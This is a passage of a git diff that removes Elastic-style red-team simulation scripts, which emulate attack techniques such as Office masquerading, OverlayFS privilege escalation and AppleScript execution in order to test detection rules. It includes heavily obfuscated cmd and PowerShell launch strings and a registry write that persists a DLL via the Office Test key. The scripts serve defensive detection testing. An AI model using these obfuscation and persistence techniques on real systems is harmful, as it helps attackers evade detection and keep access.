1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1% - cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%" - cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!" - cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!" - cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%" - ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3; - """ # noqa: E501 - commands = [c.strip() for c in commands.splitlines()] - - for a in commands: - common.execute(a, shell=True, mute=True) - time.sleep(1) - - common.execute(["taskkill", "/F", "/im", "calc.exe"]) - common.execute(["taskkill", "/F", "/im", "calculator.exe"]) - - -if __name__ == "__main__": - main() diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py deleted file mode 100644 index c2b558353..000000000 --- a/rta/obfuscated_powershell.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Obfuscated PowerShell Commands -# RTA: obfuscated_powershell.py -# ATT&CK: T1027,T1140,T1192,T1193 -# Description: Runs commands through PowerShell that are obfuscated using multiple techniques. -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a52a72cb-6fc7-48b2-b365-8479a6cdb2e6", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - # All encoded versions of the following: - # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")` - commands = r""" - .($env:public[13]+$env:public[5]+'x')("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc.exe") - iex((('W'+'rite-Hos'+'t no'+'HThi'+'s'+' is'+' my test comma'+'n'+'dnoH'+' '+'-F'+'oregroundCol'+'or G'+'r'+'e'+'en'+'; start'+' c:z'+'R'+'d'+'window'+'szRdsystem'+'3'+'2zRdca'+'lc').rEPlacE(([chaR]122+[chaR]82+[chaR]100),'\').rEPlacE('noH',[StrINg][chaR]39))) - iex("W''rite-H''ost 'This is my test command' -Fore''grou''ndC''olor Gr''een; start c:\windows\system32\ca''lc.ex''e") - iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\" + $env:public[-1] + "alc.exe") - iex(((("{23}{7}{8}{16}{25}{9}{21}{18}{2}{5}{15}{11}{20}{24}{6}{12}{22}{17}{1}{13}{3}{10}{14}{19}{0}{4}" -f 'alc.ex','ndowsSDUsyst','dm4','2','e','H','r','r','ite-Ho','This i','S','oregroundC',' Gr','em3','DU',' -F','s','rt c:SDUwi','t comman','c','ol','s my tes','een; sta','W','o','t m4H')).rePlAce(([Char]109+[Char]52+[Char]72),[StrIng][Char]39).rePlAce(([Char]83+[Char]68+[Char]85),'\'))) - i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe") - &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' ) - " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'') - ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } - """ # noqa: E501 - commands = [c.strip() for c in commands.splitlines()] - - for command in commands: - common.execute(["powershell", "-c", command], shell=True) - time.sleep(1) - - common.execute(["taskkill", "/F", "/im", "calc.exe"]) - common.execute(["taskkill", "/F", "/im", "calculator.exe"]) - - -if __name__ == "__main__": - main() diff --git a/rta/office_app_execution.py b/rta/office_app_execution.py deleted file mode 100644 index afabe7be7..000000000 --- a/rta/office_app_execution.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1a483c55-443d-4d01-a9de-e2c69df744f3", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Initial Access or Execution via Microsoft Office Application", - "rule_id": "64021ef9-19d3-4797-ac3c-79e38d5e5a5a", - } - ], - siem=[], - techniques=["T1105", "T1140", "T1027", "T1566", "T1547", "T1204", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/Microsoft PowerPoint" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake Microsoft Office process") - common.execute([masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py deleted file mode 100644 index 8eaca8621..000000000 --- a/rta/office_application_startup.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Office Application Startup -# RTA: office_application_startup.py -# ATT&CK: T1137 -# Description: Modifies the registry to persist a DLL on Office Startup. - -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="5a979532-2b56-4c7d-b47e-a2aa1ef9547a", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(dll_location="c:\\windows\\temp\\evil.dll"): - # Write evil dll to office test path: - subkey = "Software\\Microsoft\\Office Test\\Special\\Perf" - common.write_reg(common.HKCU, subkey, "", dll_location) - common.write_reg(common.HKLM, subkey, "", dll_location) - - # winreg = common.get_winreg() - # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3) - # set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3) - - # Turn on Office 2010 WWLIBcxm persistence - subkey = "Software\\Microsoft\\Office\\14.0\\Word" - common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD) - - # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0) - - return common.SUCCESS - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/office_child_process.py b/rta/office_child_process.py deleted file mode 100644 index e81e66e72..000000000 --- a/rta/office_child_process.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="65ae1bcd-0b1c-4992-97c3-f40b0f92deb1", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Suspicious macOS MS Office Child Process", "rule_id": "66da12b1-ac83-40eb-814c-07ed1d82b7b9"}], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/Microsoft Word" - masquerade2 = "/tmp/bash" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - common.log("Executing fake Microsoft commands to mimic suspicious child processes.") - common.execute([masquerade, "childprocess", masquerade2], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ojnl_injection.py b/rta/ojnl_injection.py deleted file mode 100644 index 2ba8b0d2b..000000000 --- a/rta/ojnl_injection.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b48a9dd2-8fe7-41e1-9af2-65f609a54237", - platforms=["linux"], - endpoint=[ - { - "rule_id": "8fff17c6-f0ba-4996-bcc3-342a9ebd0ef3", - "rule_name": "Remote Code Execution via Confluence OGNL Injection", - }, - ], - siem=[], - techniques=["T1190"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/confluence/jre/fake/java" - masquerade2 = "/tmp/bash" - # Using the Linux binary that simulates parent-> child process in Linux - source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - - # Execute command - common.log("Launching fake commands for Remote Code Execution via Confluence") - command = f"{masquerade2} date" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/openssl_decode_payload.py b/rta/openssl_decode_payload.py deleted file mode 100644 index 7c08c5b9f..000000000 --- a/rta/openssl_decode_payload.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="fd86ee85-a3ee-4824-875b-bb386a23a578", - platforms=["macos"], - endpoint=[ - { - "rule_id": "4dd92062-2871-43bc-adda-82f15cf6e189", - "rule_name": "Decoded or Decrypted Payload Written to Suspicious Directory", - } - ], - siem=[], - techniques=["T1027", "T1140", "T1059", "T1059.004", "T1204", "T1204.002"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/openssl" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake openssl commands to decode payload") - common.execute([masquerade, "-out", "/tmp/test", "enc", "-d"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/openssl_file_drop.py b/rta/openssl_file_drop.py deleted file mode 100644 index 5a9631653..000000000 --- a/rta/openssl_file_drop.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2c2c75c0-28cc-4828-b8a4-6b33e027a80a", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Execution of a File Dropped by OpenSSL", - "rule_id": "d2017990-b448-4617-8d4a-55aa45abe354", - } - ], - siem=[], - techniques=["T1027", "T1140", "T1204", "T1204.002"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/testbin" - - # Execute command - common.log("Launching bash commands for file creation via openssl") - common.execute(["openssl", "rand", "-base64", 2, "-out", masquerade], timeout=10, kill=True) - - common.create_macos_masquerade(masquerade) - common.execute([masquerade, "ls"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/opera_child_process.py b/rta/opera_child_process.py deleted file mode 100644 index 43d7768ce..000000000 --- a/rta/opera_child_process.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="459d7b3c-2c6d-4101-b830-d6c317d4b355", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Suspicious Browser Child Process", "rule_id": "080bc66a-5d56-4d1f-8071-817671716db9"}], - techniques=["T1203", "T1189"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/Opera" - masquerade2 = "/tmp/curl" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake macOS installer commands to download payload") - - command = f"{masquerade2} test.amazonaws.comtest" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/osascript_hidden_login_item.py b/rta/osascript_hidden_login_item.py deleted file mode 100644 index aaad0ecd6..000000000 --- a/rta/osascript_hidden_login_item.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d00ef4d9-4690-4eb1-aa60-7ff3ce3bd75b", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Creation of Hidden Login Item via Apple Script", - "rule_id": "f24bcae1-8980-4b30-b5dd-f851b055c9e7", - } - ], - techniques=["T1547", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake osascript commands to mimic hidden file creation") - common.execute( - [masquerade, "childprocess", "osascript login item hidden:true"], - shell=True, - timeout=5, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/osascript_net_conn.py b/rta/osascript_net_conn.py deleted file mode 100644 index 85277e0ff..000000000 --- a/rta/osascript_net_conn.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="66407efa-a32e-4f4d-b339-def48e23e810", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Apple Script Execution followed by Network Connection", - "rule_id": "47f76567-d58a-4fed-b32b-21f571e28910", - } - ], - techniques=["T1105", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/osascript" - common.copy_file("/usr/bin/curl", masquerade) - - # Execute command - common.log("Launching fake commands to mimic creating a network connection with osascript") - common.execute([masquerade, "portquiz.net"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/osascript_sh_execution.py b/rta/osascript_sh_execution.py deleted file mode 100644 index 661043a14..000000000 --- a/rta/osascript_sh_execution.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="fa1dd615-73f0-46d0-b047-b495337d356b", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Shell Execution via Apple Scripting", "rule_id": "d461fac0-43e8-49e2-85ea-3a58fe120b4f"}], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/osascript" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake osascript commands to mimic sh execution") - common.execute([masquerade, "childprocess", "sh -c 'ls'"], shell=True, timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/osascript_suspicious_cmdline.py b/rta/osascript_suspicious_cmdline.py deleted file mode 100644 index cfa85ea0d..000000000 --- a/rta/osascript_suspicious_cmdline.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="af8d27bb-1673-463f-8631-a5b30278cf33", - platforms=["macos"], - endpoint=[{"rule_name": "Suspicious Apple Script Execution", "rule_id": "7b9d544a-5b2a-4f0d-984a-cdc89a7fad25"}], - siem=[], - techniques=["T1105", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/osascript" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake osascript and javascript commands") - common.execute( - [masquerade, "JavaScript", "eval('curl http://www.test')"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/outlook_suspicious_child.py b/rta/outlook_suspicious_child.py deleted file mode 100644 index 719ea6467..000000000 --- a/rta/outlook_suspicious_child.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b30811a1-f734-4c28-b386-bcf43b214e09", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Execution via Outlook Application COM Object", - "rule_id": "17030515-5ed0-43c8-9602-f97cbebd43c0", - }, - {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, - ], - siem=[], - techniques=["T1566", "T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - outlook = "C:\\Users\\Public\\outlook.exe" - svchost = "C:\\Users\\Public\\svchost.exe" - common.copy_file(EXE_FILE, outlook) - common.copy_file(EXE_FILE, svchost) - - common.log("Fake outlook spawning powershell") - common.execute([svchost, "/c", outlook, "/c", "powershell -Embedding"], timeout=10, kill=True) - - common.remove_files(outlook, svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/overlayfs_privesc.py b/rta/overlayfs_privesc.py deleted file mode 100644 index 78f556a27..000000000 --- a/rta/overlayfs_privesc.py +++ /dev/null @@ -1,56 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a78663dc-9561-40a9-b4eb-f15e31c690cc", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Privilege Escalation via OverlayFS", - "rule_id": "ca9de348-a09d-4c67-af21-5645b70003d0", - }, - ], - siem=[ - { - "rule_name": "Potential Privilege Escalation via OverlayFS", - "rule_id": "b51dbc92-84e2-4af1-ba47-65183fcd0c57", - }, - ], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake unshare executable..") - masquerade = "/tmp/unshare" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - commands = [masquerade, "-rm", "cap_setuid"] - - common.log("Launching fake commands to set cap_setuid via unshare") - common.execute([*commands], timeout=2, kill=True) - common.log("Unshare simulation succesful") - - common.log("Faking uid change via same parent") - - sudo_commands = ["sudo", "su"] - - common.execute([*sudo_commands], timeout=2, kill=True) - - common.log("Uid change simulation succesful") - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/path_passed_to_system.py b/rta/path_passed_to_system.py deleted file mode 100644 index b23957773..000000000 --- a/rta/path_passed_to_system.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7343a543-c2f6-4215-a21c-04eb8c764656", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Masquerading as System Binary", - "rule_id": "bb1de0c7-3504-4b31-8d3e-928aa3acf64f", - } - ], - siem=[], - techniques=["T1036", "T1036.004", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake bash commands to mimic passing a path to system bin") - command = f"exec -a /System/Applications/test {masquerade}" - 